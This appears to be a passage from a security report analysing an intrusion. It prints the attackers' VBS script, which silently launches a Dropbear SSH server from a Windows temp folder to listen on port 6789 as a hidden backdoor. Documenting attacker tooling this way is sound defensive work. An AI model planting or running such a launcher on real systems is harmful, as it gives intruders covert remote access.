In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false As is evident here, the SSH server will accept connections on port number 6789